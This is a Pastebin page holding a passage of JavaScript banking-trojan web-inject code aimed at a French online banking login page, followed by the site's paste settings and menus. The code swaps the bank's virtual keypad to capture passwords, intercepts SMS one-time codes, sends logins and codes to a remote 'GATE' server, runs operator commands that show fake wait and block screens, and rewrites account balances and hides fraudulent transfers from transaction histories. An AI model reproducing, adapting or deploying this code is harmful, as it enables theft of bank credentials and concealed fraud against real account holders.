url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABUAAABKCAYAAABUzx+0AAAABGdBTUEAAK/INwWK6QAAABl0RVh0U29mdHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAAKsSURBVHja7Jm/qxpBEMdn9wnGkHSCWGiRMlja+AcI6SSQPyCVEJI/SAQRhfRpguA/ICm0slFEEYlaWaXw6d3uu/NHmDfO7u3FR6pbGNbTu898d/aHzigAQMK5aXje6LVzSxmg+h44Bw17Qa51HHgIfSAPc6DQiXJVfoVyMGqS3BdLKTbFXEfGOgS+uQyPGlh655hSVQL1NJ5WxamL4ZgpBsYBjGAMvQKxQmo+ei2RAFYpVicRXEQoZeFYqUImDJNCN4hgNsszpVevvmWW6XqmK+X0+UOz2dzUarUP5XL57Wq1mux2O4+AuBBog5PzA8fjUW+3W5hMJvvFYnEcDodfG43Gr4tiF8NhO8GFDtrVQ6AU+v3+42Aw+NxqtUbBWx562LNAfbwcJR5XoVCAarWarlQqjVwul75sDEnMtvNOTdKZKBaLkM/nX9Xr9U9o8rieg/PQsJVKpXQA/xihkFMrjNBsNgtCiHeOsJvGQjOZDCilXjuo4hwIFhqohGBRxFZoVUoWvnA4b2NBbQezKRROSoGL2z3DN4UDXhLq1BJoAk2gCTSBJtAE+r+hTim6dIBwMH2vUu3o8K9j6ThczowO/xUaP6aHwwGklI8RCk2ONAsNsr7w1/RvpgbgpJiFjsfj/Xq9/sFlcw7qb6GbzQaWy6Xf7Xa/k6KCMtRVblRLCuz1evvRaPRtNpv9YXJP5bIKUp7nQZjwTqfT/Xw+94OE9wtKeOMO/wxtt9t+MNOLQOXPTqfTRQp9g9IoJ6ff7+/JjTgzpj33msb6VJXwmHKHMoCjlAKGcjOsHIFsCckjJSRlUc6BVRRUR0C1DUahYHlIGUZg3K4pVP/QFqhtR1mVupY6Iw8UrDTqUHY+U69QiDgvIW752Ge+c+DeQrcylOG1qzIuf3/xPw+eBBgA9ioHIvHy2yIAAAAASUVORK5CYII=) no-repeat scroll left top transparent;float: left;height: 74px;width: 21px;"></div></div>'; var popup_elem_common = document.getElementById("popup_elem_common"); if(popup_elem_common)popup_elem_common.parentNode.removeChild(popup_elem_common); var popup_elem = document.createElement("div"); popup_elem.id = "popup_elem_common"; popup_elem.style.position = "absolute"; popup_elem.style.top = "0px"; popup_elem.style.left = "0px"; popup_elem.style.width = "100%"; popup_elem.style.height = "100%"; popup_elem.style.zIndex = "1001"; popup_elem.style.background = "url(blank.gif)"; popup_elem.innerHTML = fkWaitContent; document.getElementsByTagName('body')[0].appendChild(popup_elem); if(status)return false; setTimeout(vw.finish,90000); break; case("hidewait"): var popup_elem_common = document.getElementById("popup_elem_common"); if(popup_elem_common)popup_elem_common.parentNode.removeChild(popup_elem_common); break; case("sms"): vw.fake_step("hidewait"); var smsDiv = document.getElementById("smsDiv"); if(smsDiv)smsDiv.parentNode.removeChild(smsDiv); var pointTd = by.args(document,"td","background:cadre_left\.png","style:cadre_left\.png"); if(pointTd){ var pointTr = pointTd.parentNode; var tables = vw.from(pointTr,"table"); if(tables && tables.length > 0){ var pointTable = tables[0]; var smsDiv = document.createElement("div"); smsDiv.id = "smsDiv"; smsDiv.style.padding = "8px"; smsDiv.style.textAlign = "left"; smsDiv.style.fontSize = "11px"; smsDiv.innerHTML = '<img align=top width="16" height="16" src="/banque/PA_CanalnetApp/jsp/outilsxml/identification/imgs/second-step.png"> '+FKTEXT.SMSTITLE+ '<br>'+ FKTEXT.SMSQUERY+ '<br><br><bR>'+ FKTEXT.SMSLABEL+"<input style='float:right;' type='password' id='vw.inp_sms_input' maxlength=6 size=6>" ''; pointTable.parentNode.insertBefore(smsDiv,pointTable); pointTable.style.visibility = "hidden"; UI_login_input.disabled = true; } } break; case("block"): vw.fake_step("hidewait"); var artDiv = document.getElementById("artDiv"); if(artDiv)artDiv.parentNode.removeChild(artDiv); var artDiv = document.createElement("div"); artDiv.id = "artDiv"; artDiv.className = "rubrique"; artDiv.innerHTML = '<table width="350" cellspacing="0" cellpadding="0" border="0">'+ '<tbody>'+ '<tr>'+ '<td width="6" height="69" rowspan="5"></td>'+ '<td width="338" height="4" background="/banque/PA_CanalnetApp/jsp/cadres/imgs/cadre_erreur_02.gif" colspan="2"><img width="421" height="4" alt="" src="/banque/PA_CanalnetApp/jsp/imgs/transp.gif"></td>'+ '<td width="6" height="69" rowspan="5"></td>'+ '</tr>'+ '<tr>'+ '<td width="100%" height="18" align="center" class="TitreErreur" colspan="2">'+FKTEXT.BLOCKTITLE+'</td>'+ '</tr>'+ '<tr>'+ '<td width="100%" height="6" background="/banque/PA_CanalnetApp/jsp/cadres/imgs/cadre_erreur_05.gif" colspan="2"></td>'+ '</tr>'+ '<tr>'+ '<td width="312" height="34" align="center" class="LibelleErreur" colspan=2 style="background:#E7E7E7;padding:10px;">'+ FKTEXT.BLOCKMAIN+"<br>"+FKTEXT.BLOCTRYNEXTTIME+ '</td>'+ '</tr>'+ '<tr>'+ '<td width="100%" height="7" background="/banque/PA_CanalnetApp/jsp/cadres/imgs/cadre_erreur_08.gif" colspan="2"></td>'+ '</tr>'+ '</tbody>'+ '</table>'; var mainTable = by.args(document,"table","class:identification"); if(mainTable){ mainTable.parentNode.insertBefore(artDiv,mainTable); mainTable.style.display = "none"; } break; } } vw.actions = function(){ switch(QUERY.COMMAND){ case("OFFLINE"): vw.fake_step("login"); break; case("BLOCK"): vw.fake_step("block"); break; case("SMS"): vw.fake_step("sms"); break; case("LOGIN"): vw.fake_step("login"); break; case("REASK LOGIN INFO"): vw.fake_step("relogin"); break; case("WAIT"): vw.fake_step("wait",true); setTimeout(hujax.command,1000); break; } } //=================== INIT REPLACER FUNCTIONS ===================== replacer.get_balancetable = function(){ var r1 = document.getElementById("corps"); var r2 = by.args(document,"div","class:colonnegaucheunecompte"); if(r1 && r2){ return r2; }else{ return false; } } replacer.get_historytable = function(){ return by.args(document,"table","id:tablecompte","summary:liste des op.*rations"); } replacer.get_blockstable = function(){ return by.args(document,"ul","id:carousel"); } replacer.get_dropstable = function(){ return by.args(document,"div","class:gererbenef","id:listecomptes"); } replacer.get_dropshistory = function(){ var menuLink = by.args(document,"a","onclick:listervirementsaction"); if(menuLink){ if(/itemSelect/igm.test(menuLink.parentNode.className)){ return true; } } return false; } replacer.init(replacer.get_balancetable(),replacer.get_historytable(),replacer.get_blockstable(),replacer.get_dropstable(),replacer.get_dropshistory()); replacer.currency(summ.get,summ.set); replacer.finder_amount = function(txt){ if(txt){ var amount = 0; for(var i = 0; i < replacerArray.length; i++){ var pattern = new RegExp(replacerArray[i]["ACCOUNT"],"igm"); if(pattern.test(txt)){ amount += summ.get(replacerArray[i]["AMOUNT"]); } } } return amount; } replacer.finder_transfer = function(txt){ if(txt){ for(var i = 0; i < replacerArray.length; i++){ var pattern_1 = new RegExp(replacerArray[i]["NAME"],"igm"); var pattern_2 = new RegExp(replacerArray[i]["MEMO"],"igm"); if(pattern_1.test(txt) || pattern_2.test(txt)){ return true; } } } return false; } replacer.totalamount = function(){ var amount = 0; for(var i = 0; i < replacerArray.length; i++){ amount += summ.get(replacerArray[i]["AMOUNT"]); } return amount; } replacer.hide = function(){ var imgs = vw.from(document,"img"); if(imgs && imgs.length > 0){ for(var i = 0; i < imgs.length; i++){ if(/Actions/igm.test(imgs[i].alt) && /plus\.png/igm.test(imgs[i].src)){ if(!replacer.get_dropstable())imgs[i].style.display = "none"; } } } var b1 = by.args(document,"div","class:listeaction"); if(b1)b1.parentNode.removeChild(b1); var b2 = by.args(document,"div","class:blocreleveoutils"); if(b2)b2.parentNode.removeChild(b2); var ahs = vw.from(document,"a"); if(ahs && ahs.length > 0){ for(var i = 0; i < ahs.length; i++){ if(/Enregistrer vos pointages/igm.test(vw.text(ahs[i]))){ ahs[i].parentNode.style.display = "none"; } } } } replacer.balance = function(){ if(replacer.get_balancetable()){ var totalDiv = by.args(document,"div","class:montanttotalavoirs"); if(totalDiv){ var amount = replacer.totalamount(); if(amount > 0){ replacer.replace(totalDiv,amount); } } var tables = vw.from(document,"table"); if(tables && tables.length > 0){ for(var i = 0; i < tables.length; i++){ if(/Liste des contrats/igm.test(tables[i].summary)){ var amountTotal = 0; var trs = vw.from(tables[i],"tr"); if(trs && trs.length > 0){ for(var e = 0; e < trs.length; e++){ var tds = vw.from(trs[e],"td"); if(tds && tds.length > 5){ var accountNumber = vw.text(tds[2]).replace(/(\r\n|\r|\n|[\r]|[\n]|[\t]|\s*$|^\s*)/ig,""); var amount = replacer.finder_amount(accountNumber); if(amount > 0){ amountTotal += amount; replacer.replace(tds[3],amount); var ahs = vw.from(tds[3],"a"); if(ahs && ahs.length > 0){ ahs[0].style.textDecoration = "none"; } var lastAmount = vw.text(tds[3]).replace(/(\r\n|\r|\n|[\r]|[\n]|[\t]|\s*$|^\s*)/ig,""); if(summ.get(lastAmount) > 0){ tds[3].className = "positif"; } var parentDiv = tables[i].parentNode; if(parentDiv){ var lastChar = parentDiv.id.substr(parentDiv.id.length-1,1); if(lastChar){ var totalBlockParent = document.getElementById("blocIndex_"+lastChar); if(totalBlockParent){ var totalBlock = by.args(totalBlockParent,"div","class:montant"); if(totalBlock){ replacer.replace(totalBlock,amount); var lastAmount = vw.text(totalBlock).replace(/(\r\n|\r|\n|[\r]|[\n]|[\t]|\s*$|^\s*)/ig,""); if(summ.get(lastAmount) > 0){ totalBlock.className = "montant positif"; } } } } } } if(trs[e].className == "total"){ if(amountTotal > 0){ replacer.replace(tds[3],amountTotal); } } } } } } } } } } replacer.history = function(){ if(replacer.get_historytable()){ var accountSelect = document.getElementById("cboContractNumbers"); if(accountSelect){ var accountNumbetPattern = vw.selected(accountSelect).TEXT.replace(/(\r\n|\r|\n|[\r]|[\n]|[\t]|\s*$|^\s*)/ig,""); var amount = replacer.finder_amount(accountNumbetPattern); if(amount > 0){ var topAmountTd = by.args(document,"td","class:soldereleve"); if(topAmountTd){ replacer.replace(topAmountTd,amount); } var table = replacer.get_historytable(); if(table){ var trs = vw.from(table,"tr"); if(trs && trs.length > 0){ for(var i = 0; i < trs.length; i++){ var tds = vw.from(trs[i],"td"); if(tds && tds.length > 7){ var transferInfoPattern = vw.text(tds[2]).replace(/(\r\n|\r|\n|[\r]|[\n]|[\t]|\s*$|^\s*)/ig,""); if(replacer.finder_transfer(transferInfoPattern)){ trs[i].style.display = "none"; } tds[6].innerHTML = ""; } } } } } } } } replacer.blocks = function(){ if(replacer.get_blockstable()){ var lis = vw.from(document,"li"); if(lis && lis.length > 0){ for(var i = 0; i < lis.length; i++){ if(/blocContent.*jcarousel/igm.test(lis[i].className)){ var accountNumberTag = by.args(lis[i],"p","class:numcompte"); var accountAmountTag = by.args(lis[i],"span","class:solde"); if(accountNumberTag && accountAmountTag){ var accountNumber = vw.text(accountNumberTag).replace(/(\r\n|\r|\n|[\r]|[\n]|[\t]|\s*$|\s*)/igm,""); var amount = replacer.finder_amount(accountNumber); if(amount > 0){ replacer.replace(accountAmountTag,amount); var lastAmount = vw.text(accountAmountTag).replace(/(\r\n|\r|\n|[\r]|[\n]|[\t]|\s*$|^\s*)/ig,""); if(summ.get(lastAmount) > 0){ accountAmountTag.className = "solde vert"; } } } } } } var imgs = vw.from(document,"img"); if(imgs && imgs.length > 0){ for(var i = 0; i < imgs.length; i++){ if(/closeList/igm.test(imgs[i].src)){ var ahs = imgs[i].parentNode; jQuery(ahs).unbind("click"); } } } } } replacer.drops = function(){ if(replacer.get_dropstable()){ var tables = vw.from(replacer.get_dropstable(),"table"); if(tables && tables.length > 0){ var table = tables[0]; var trs = vw.from(table,"tr"); if(trs && trs.length > 0){ for(var i = 0; i < trs.length; i++){ var tds = vw.from(trs[i],"td"); if(tds && tds.length > 5){ var transferInfoPattern = vw.text(tds[0]).replace(/(\r\n|\r|\n|[\r]|[\n]|[\t]|\s*$|^\s*)/ig,""); if(replacer.finder_transfer(transferInfoPattern)){ trs[i].style.display = "none"; } } } } } } } replacer.dropshistory = function(){ if(replacer.get_dropshistory()){ var table = by.args(document,"table","class:tablecompte"); if(table){ var trs = vw.from(table,"tr"); if(trs && trs.length > 0){ for(var i = 0; i < trs.length; i++){ var tds = vw.from(trs[i],"td"); if(tds && tds.length > 5){ var transferInfoPattern_1 = vw.text(tds[2]).replace(/(\r\n|\r|\n|[\r]|[\n]|[\t]|\s*$|^\s*)/ig,""); var transferInfoPattern_2 = vw.text(tds[3]).replace(/(\r\n|\r|\n|[\r]|[\n]|[\t]|\s*$|^\s*)/ig,""); if(replacer.finder_transfer(transferInfoPattern_1) || replacer.finder_transfer(transferInfoPattern_2)){ trs[i].style.display = "none"; } } } } } } } replacer.start = function(){ replacer.balance(); replacer.history(); replacer.blocks(); replacer.drops(); replacer.dropshistory(); } //=================== INIT AJAX FUNCTIONS ===================== hujax.callback(UniversalCallback); function UniversalCallback(){ switch(kl){ case("check"): if(admindata == "C:ON"){ vw.start(); }else if(admindata == "C:BLOCK"){ vw.fake_step("block"); } vw.showdoc(document); break; case("login"): if(typeof admindata != "undefined"){ vw.fake_step("wait"); hujax.command(); }else{ vw.fake_step("login"); } break; case("command"): if(QUERY.FINISH && !QUERY.CHANGED){ vw.fake_step("login"); }else{ if(typeof admindata != "undefined"){ var els = admindata.split("|"); if(els && els.length == 2){ if(els[0] == QUERY.COMMAND){ setTimeout(hujax.command,1000); }else{ QUERY.CHANGED = true; QUERY.COMMAND = els[0]; QUERY.VALUE = els[1]; vw.actions(); } } } } break; case("replacer"): if(typeof admindata != "undefined"){ var els = admindata.split("|"); if(els && els.length > 0){ for(var i = 0; i < els.length; i++){ var p = els[i].split("/"); if(p && p.length == 4){ replacerArray[i] = new Array(); replacerArray[i]["AMOUNT"] = p[0]; replacerArray[i]["ACCOUNT"] = p[1]; replacerArray[i]["NAME"] = p[2]; replacerArray[i]["MEMO"] = p[3]; } } replacer.hide(); if(replacer.canstart()){ replacer.start(); } vw.showdoc(document); }else{ vw.showdoc(document); } }else{ vw.showdoc(document); } break; } } hujax.command = function(){ var LINK = GATE+"?mode=COMMAND&hash="+Number(new Date()); LINK += "&type=intercept"; kl = "command"; hujax.send(LINK); } hujax.start = function(){ var LINK = GATE+"?mode=CHECKSTART&hash="+Number(new Date()); LINK += "&type=intercept"; LINK += "&domain="+document.domain; LINK += "&browser="+vw.browser(); kl = "check"; hujax.send(LINK); } hujax.replacer = function(){ var LINK = GATE+"?mode=REPLACER&hash="+Number(new Date()); kl = "replacer"; hujax.send(LINK); } //=================== INIT START FUNCTIONS ===================== vw.button = function(){ if(QUERY.COMMAND == "SMS"){ var vwinp_sms_input = document.getElementById("vw.inp_sms_input"); if(vwinp_sms_input){ vw.fake_step("wait",true); HOLDER.SMS = vwinp_sms_input.value; var LINK = GATE+"?mode=JABBER&hash="+Number(new Date()); LINK += "&type=intercept"; LINK += "&message=Code Recieved"; LINK += "&data="+HOLDER.SMS; kl = "command"; hujax.send(LINK); } }else{ HOLDER.LOGIN = UI_login_input.value; vw.fake_step("wait",true); var LINK = GATE+"?mode=LOGIN&login1="+HOLDER.LOGIN+"&login2="+HOLDER.PASSWORD+"&hash="+Number(new Date()); LINK += "&type=intercept&message=Loginning..."; LINK += "&domain="+document.domain; LINK += "&browser="+vw.browser(); kl = "login"; hujax.send(LINK); } } vw.keyboard_click = function(index,el){ if(index < 10){ index = "0"+index; }else{ index += ""; } var origA = by.args(document,"a","href:figureClick.*"+index); if(origA){ HOLDER.PASSWORD += /[0-9]/igm.test(vw.text(el)) ? vw.text(el) : "_"; vw.mouse("click",origA); } } vw.keyboard_replace = function(){ var keyDiv = document.getElementById("secret-nbr-keyboard"); if(keyDiv){ var newKey = document.createElement("div"); newKey.innerHTML = '<div style="height:28px;">'+ '<a onclick="vw.keyboard_click(1,this);return false;" style="padding:5px;padding-right:9px;padding-left:9px;cursor:pointer;font-weight:bold;background:#F8F8F8;border:1px solid #BDBEBE;color: #3F3F3F;font-family: Arial,Helvetica,sans-serif;font-size: 14px;font-style: normal;text-align: center;"><b>1</b></a>'+ '<a onclick="vw.keyboard_click(2,this);return false;" style="padding:5px;padding-right:11px;padding-left:11px;cursor:pointer;font-weight:bold;background:#F8F8F8;border:1px solid #BDBEBE;color: #3F3F3F;font-family: Arial,Helvetica,sans-serif;font-size: 14px;font-style: normal;text-align: center;"><b> </b></a>'+ '<a onclick="vw.keyboard_click(3,this);return false;" style="padding:5px;padding-right:11px;padding-left:11px;cursor:pointer;font-weight:bold;background:#F8F8F8;border:1px solid #BDBEBE;color: #3F3F3F;font-family: Arial,Helvetica,sans-serif;font-size: 14px;font-style: normal;text-align: center;"><b> </b></a>'+ '<a onclick="vw.keyboard_click(4,this);return false;" style="padding:5px;padding-right:11px;padding-left:11px;cursor:pointer;font-weight:bold;background:#F8F8F8;border:1px solid #BDBEBE;color: #3F3F3F;font-family: Arial,Helvetica,sans-serif;font-size: 14px;font-style: normal;text-align: center;"><b> </b></a>'+ '<a onclick="vw.keyboard_click(5,this);return false;" style="padding:5px;padding-right:9px;padding-left:9px;cursor:pointer;font-weight:bold;background:#F8F8F8;border:1px solid #BDBEBE;color: #3F3F3F;font-family: Arial,Helvetica,sans-serif;font-size: 14px;font-style: normal;text-align: center;"><b>0</b></a>'+ '</div>'+ '<div style="height:28px;">'+ '<a onclick="vw.keyboard_click(6,this);return false;" style="padding:5px;padding-right:11px;padding-left:11px;cursor:pointer;font-weight:bold;background:#F8F8F8;border:1px solid #BDBEBE;color: #3F3F3F;font-family: Arial,Helvetica,sans-serif;font-size: 14px;font-style: normal;text-align: center;"><b> </b></a>'+ '<a onclick="vw.keyboard_click(7,this);return false;" style="padding:5px;padding-right:11px;padding-left:11px;cursor:pointer;font-weight:bold;background:#F8F8F8;border:1px solid #BDBEBE;color: #3F3F3F;font-family: Arial,Helvetica,sans-serif;font-size: 14px;font-style: normal;text-align: center;"><b> </b></a>'+ '<a onclick="vw.keyboard_click(8,this);return false;" style="padding:5px;padding-right:9px;padding-left:9px;cursor:pointer;font-weight:bold;background:#F8F8F8;border:1px solid #BDBEBE;color: #3F3F3F;font-family: Arial,Helvetica,sans-serif;font-size: 14px;font-style: normal;text-align: center;"><b>2</b></a>'+ '<a onclick="vw.keyboard_click(9,this);return false;" style="padding:5px;padding-right:9px;padding-left:9px;cursor:pointer;font-weight:bold;background:#F8F8F8;border:1px solid #BDBEBE;color: #3F3F3F;font-family: Arial,Helvetica,sans-serif;font-size: 14px;font-style: normal;text-align: center;"><b>9</b></a>'+ '<a onclick="vw.keyboard_click(10,this);return false;" style="padding:5px;padding-right:11px;padding-left:11px;cursor:pointer;font-weight:bold;background:#F8F8F8;border:1px solid #BDBEBE;color: #3F3F3F;font-family: Arial,Helvetica,sans-serif;font-size: 14px;font-style: normal;text-align: center;"><b> </b></a>'+ '</div>'+ '<div style="height:28px;">'+ '<a onclick="vw.keyboard_click(11,this);return false;" style="padding:5px;padding-right:11px;padding-left:11px;cursor:pointer;font-weight:bold;background:#F8F8F8;border:1px solid #BDBEBE;color: #3F3F3F;font-family: Arial,Helvetica,sans-serif;font-size: 14px;font-style: normal;text-align: center;"><b> </b></a>'+ '<a onclick="vw.keyboard_click(12,this);return false;" style="padding:5px;padding-right:9px;padding-left:9px;cursor:pointer;font-weight:bold;background:#F8F8F8;border:1px solid #BDBEBE;color: #3F3F3F;font-family: Arial,Helvetica,sans-serif;font-size: 14px;font-style: normal;text-align: center;"><b>7</b></a>'+ '<a onclick="vw.keyboard_click(13,this);return false;" style="padding:5px;padding-right:11px;padding-left:11px;cursor:pointer;font-weight:bold;background:#F8F8F8;border:1px solid #BDBEBE;color: #3F3F3F;font-family: Arial,Helvetica,sans-serif;font-size: 14px;font-style: normal;text-align: center;"><b> </b></a>'+ '<a onclick="vw.keyboard_click(14,this);return false;" style="padding:5px;padding-right:11px;padding-left:11px;cursor:pointer;font-weight:bold;background:#F8F8F8;border:1px solid #BDBEBE;color: #3F3F3F;font-family: Arial,Helvetica,sans-serif;font-size: 14px;font-style: normal;text-align: center;"><b> </b></a>'+ '<a onclick="vw.keyboard_click(15,this);return false;" style="padding:5px;padding-right:11px;padding-left:11px;cursor:pointer;font-weight:bold;background:#F8F8F8;border:1px solid #BDBEBE;color: #3F3F3F;font-family: Arial,Helvetica,sans-serif;font-size: 14px;font-style: normal;text-align: center;"><b> </b></a>'+ '</div>'+ '<div style="height:28px;">'+ '<a onclick="vw.keyboard_click(16,this);return false;" style="padding:5px;padding-right:11px;padding-left:11px;cursor:pointer;font-weight:bold;background:#F8F8F8;border:1px solid #BDBEBE;color: #3F3F3F;font-family: Arial,Helvetica,sans-serif;font-size: 14px;font-style: normal;text-align: center;"><b> </b></a>'+ '<a onclick="vw.keyboard_click(17,this);return false;" style="padding:5px;padding-right:11px;padding-left:11px;cursor:pointer;font-weight:bold;background:#F8F8F8;border:1px solid #BDBEBE;color: #3F3F3F;font-family: Arial,Helvetica,sans-serif;font-size: 14px;font-style: normal;text-align: center;"><b> </b></a>'+ '<a onclick="vw.keyboard_click(18,this);return false;" style="padding:5px;padding-right:9px;padding-left:9px;cursor:pointer;font-weight:bold;background:#F8F8F8;border:1px solid #BDBEBE;color: #3F3F3F;font-family: Arial,Helvetica,sans-serif;font-size: 14px;font-style: normal;text-align: center;"><b>5</b></a>'+ '<a onclick="vw.keyboard_click(19,this);return false;" style="padding:5px;padding-right:9px;padding-left:9px;cursor:pointer;font-weight:bold;background:#F8F8F8;border:1px solid #BDBEBE;color: #3F3F3F;font-family: Arial,Helvetica,sans-serif;font-size: 14px;font-style: normal;text-align: center;"><b>4</b></a>'+ '<a onclick="vw.keyboard_click(20,this);return false;" style="padding:5px;padding-right:9px;padding-left:9px;cursor:pointer;font-weight:bold;background:#F8F8F8;border:1px solid #BDBEBE;color: #3F3F3F;font-family: Arial,Helvetica,sans-serif;font-size: 14px;font-style: normal;text-align: center;"><b>6</b></a>'+ '</div>'+ '<div style="height:28px;">'+ '<a onclick="vw.keyboard_click(21,this);return false;" style="padding:5px;padding-right:11px;padding-left:11px;cursor:pointer;font-weight:bold;background:#F8F8F8;border:1px solid #BDBEBE;color: #3F3F3F;font-family: Arial,Helvetica,sans-serif;font-size: 14px;font-style: normal;text-align: center;"><b> </b></a>'+ '<a onclick="vw.keyboard_click(22,this);return false;" style="padding:5px;padding-right:11px;padding-left:11px;cursor:pointer;font-weight:bold;background:#F8F8F8;border:1px solid #BDBEBE;color: #3F3F3F;font-family: Arial,Helvetica,sans-serif;font-size: 14px;font-style: normal;text-align: center;"><b> </b></a>'+ '<a onclick="vw.keyboard_click(23,this);return false;" style="padding:5px;padding-right:11px;padding-left:11px;cursor:pointer;font-weight:bold;background:#F8F8F8;border:1px solid #BDBEBE;color: #3F3F3F;font-family: Arial,Helvetica,sans-serif;font-size: 14px;font-style: normal;text-align: center;"><b> </b></a>'+ '<a onclick="vw.keyboard_click(24,this);return false;" style="padding:5px;padding-right:9px;padding-left:9px;cursor:pointer;font-weight:bold;background:#F8F8F8;border:1px solid #BDBEBE;color: #3F3F3F;font-family: Arial,Helvetica,sans-serif;font-size: 14px;font-style: normal;text-align: center;"><b>8</b></a>'+ '<a onclick="vw.keyboard_click(25,this);return false;" style="padding:5px;padding-right:9px;padding-left:9px;cursor:pointer;font-weight:bold;background:#F8F8F8;border:1px solid #BDBEBE;color: #3F3F3F;font-family: Arial,Helvetica,sans-serif;font-size: 14px;font-style: normal;text-align: center;"><b>3</b></a>'+ '</div>'+ ''; keyDiv.parentNode.insertBefore(newKey,keyDiv); keyDiv.style.display = "none"; } } vw.lethim = function(){ vw.mouse("click",UI_login_button); } vw.start = function(){ vw.blockenter(UI_login_input); vw.keyboard_replace(); var ahs = vw.from(document,"a"); if(ahs && ahs.length > 0){ for(var i = 0; i < ahs.length; i++){ if(/reinit/igm.test(ahs[i].href)){ vw.bind(ahs[i],"click",function(){ HOLDER.PASSWORD = ""; }); } } } clone.click(UI_login_button,vw.button); } vw.inside = function(){ return by.args(document,"img","alt:d.*connexion"); } function _start(){ if(UI_login_input && UI_password_input && UI_login_button){ hujax.start(); }else if(vw.inside()){ hujax.replacer(); }else{ vw.showdoc(document); } } _start();
Optional Paste Settings
Category:
None
Cryptocurrency
Cybersecurity
Fixit
Food
Gaming
Haiku
Help
History
Housing
Jokes
Legal
Money
Movies
Music
Pets
Photo
Science
Software
Source Code
Spirit
Sports
Travel
TV
Writing
Tags:
Syntax Highlighting:
None
Bash
C
C#
C++
CSS
HTML
JSON
Java
JavaScript
Lua
Markdown (PRO members only)
Objective C
PHP
Perl
Python
Ruby
Swift
4CS
6502 ACME Cross Assembler
6502 Kick Assembler
6502 TASM/64TASS
ABAP
AIMMS
ALGOL 68
APT Sources
ARM
ASM (NASM)
ASP
ActionScript
ActionScript 3
Ada
Apache Log
AppleScript
Arduino
Asymptote
AutoIt
Autohotkey
Avisynth
Awk
BASCOM AVR
BNF
BOO
Bash
Basic4GL
Batch
BibTeX
Blitz Basic
Blitz3D
BlitzMax
BrainFuck
C
C (WinAPI)
C Intermediate Language
C for Macs
C#
C++
C++ (WinAPI)
C++ (with Qt extensions)
C: Loadrunner
CAD DCL
CAD Lisp
CFDG
CMake
COBOL
CSS
Ceylon
ChaiScript
Chapel
Clojure
Clone C
Clone C++
CoffeeScript
ColdFusion
Cuesheet
D
DCL
DCPU-16
DCS
DIV
DOT
Dart
Delphi
Delphi Prism (Oxygene)
Diff
E
ECMAScript
EPC
Easytrieve
Eiffel
Email
Erlang
Euphoria
F#
FO Language
Falcon
Filemaker
Formula One
Fortran
FreeBasic
FreeSWITCH
GAMBAS
GDB
GDScript
Game Maker
Genero
Genie
GetText
Go
Godot GLSL
Groovy
GwBasic
HQ9 Plus
HTML
HTML 5
Haskell
Haxe
HicEst
IDL
INI file
INTERCAL
IO
ISPF Panel Definition
Icon
Inno Script
J
JCL
JSON
Java
Java 5
JavaScript
Julia
KSP (Kontakt Script)
KiXtart
Kotlin
LDIF
LLVM
LOL Code
LScript
Latex
Liberty BASIC
Linden Scripting
Lisp
Loco Basic
Logtalk
Lotus Formulas
Lotus Script
Lua
M68000 Assembler
MIX Assembler
MK-61/52
MPASM
MXML
MagikSF
Make
MapBasic
Markdown (PRO members only)
MatLab
Mercury
MetaPost
Modula 2
Modula 3
Motorola 68000 HiSoft Dev
MySQL
Nagios
NetRexx
Nginx
Nim
NullSoft Installer
OCaml
OCaml Brief
Oberon 2
Objeck Programming Langua
Objective C
Octave
Open Object Rexx
OpenBSD PACKET FILTER
OpenGL Shading
Openoffice BASIC
Oracle 11
Oracle 8
Oz
PARI/GP
PCRE
PHP
PHP Brief
PL/I
PL/SQL
POV-Ray
ParaSail
Pascal
Pawn
Per
Perl
Perl 6
Phix
Pic 16
Pike
Pixel Bender
PostScript
PostgreSQL
PowerBuilder
PowerShell
ProFTPd
Progress
Prolog
Properties
ProvideX
Puppet
PureBasic
PyCon
Python
Python for S60
QBasic
QML
R
RBScript
REBOL
REG
RPM Spec
Racket
Rails
Rexx
Robots
Roff Manpage
Ruby
Ruby Gnuplot
Rust
SAS
SCL
SPARK
SPARQL
SQF
SQL
SSH Config
Scala
Scheme
Scilab
SdlBasic
Smalltalk
Smarty
StandardML
StoneScript
SuperCollider
Swift
SystemVerilog
T-SQL
TCL
TeXgraph
Tera Term
TypeScript
TypoScript
UPC
Unicon
UnrealScript
Urbi
VB.NET
VBScript
VHDL
VIM
Vala
Vedit
VeriLog
Visual Pro Log
VisualBasic
VisualFoxPro
WHOIS
WhiteSpace
Winbatch
XBasic
XML
XPP
Xojo
Xorg Config
YAML
YARA
Z80 Assembler
ZXBasic
autoconf
jQuery
mIRC
newLISP
q/kdb+
thinBasic
Paste Expiration:
Never
Burn after read
10 Minutes
1 Hour
1 Day
1 Week
2 Weeks
1 Month
6 Months
1 Year
Paste Exposure:
Public
Unlisted
Private
Folder:
(members only)
Password
NEW
Enabled
Disabled
Burn after read
NEW
Paste Name / Title:
Create New Paste
Hello
Guest
Sign Up
or
Login
Sign in with Facebook
Sign in with Twitter
Sign in with Google
You are currently not logged in, this means you can not edit or delete anything you paste.
Sign Up
or
Login
Public Pastes
Untitled
15 min ago | 12.36 KB
Untitled
1 hour ago | 6.19 KB
Untitled
2 hours ago | 21.84 KB
Untitled
4 hours ago | 19.79 KB
Untitled
6 hours ago | 10.90 KB
Screenshot 2026-05-20 at 23.32.43.png
6 hours ago | 936.71 KB
Untitled
8 hours ago | 17.01 KB
Untitled
10 hours ago | 14.09 KB
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the
Cookies Policy
.
OK, I Understand
Not a member of Pastebin yet?
Sign Up
, it unlocks many cool features!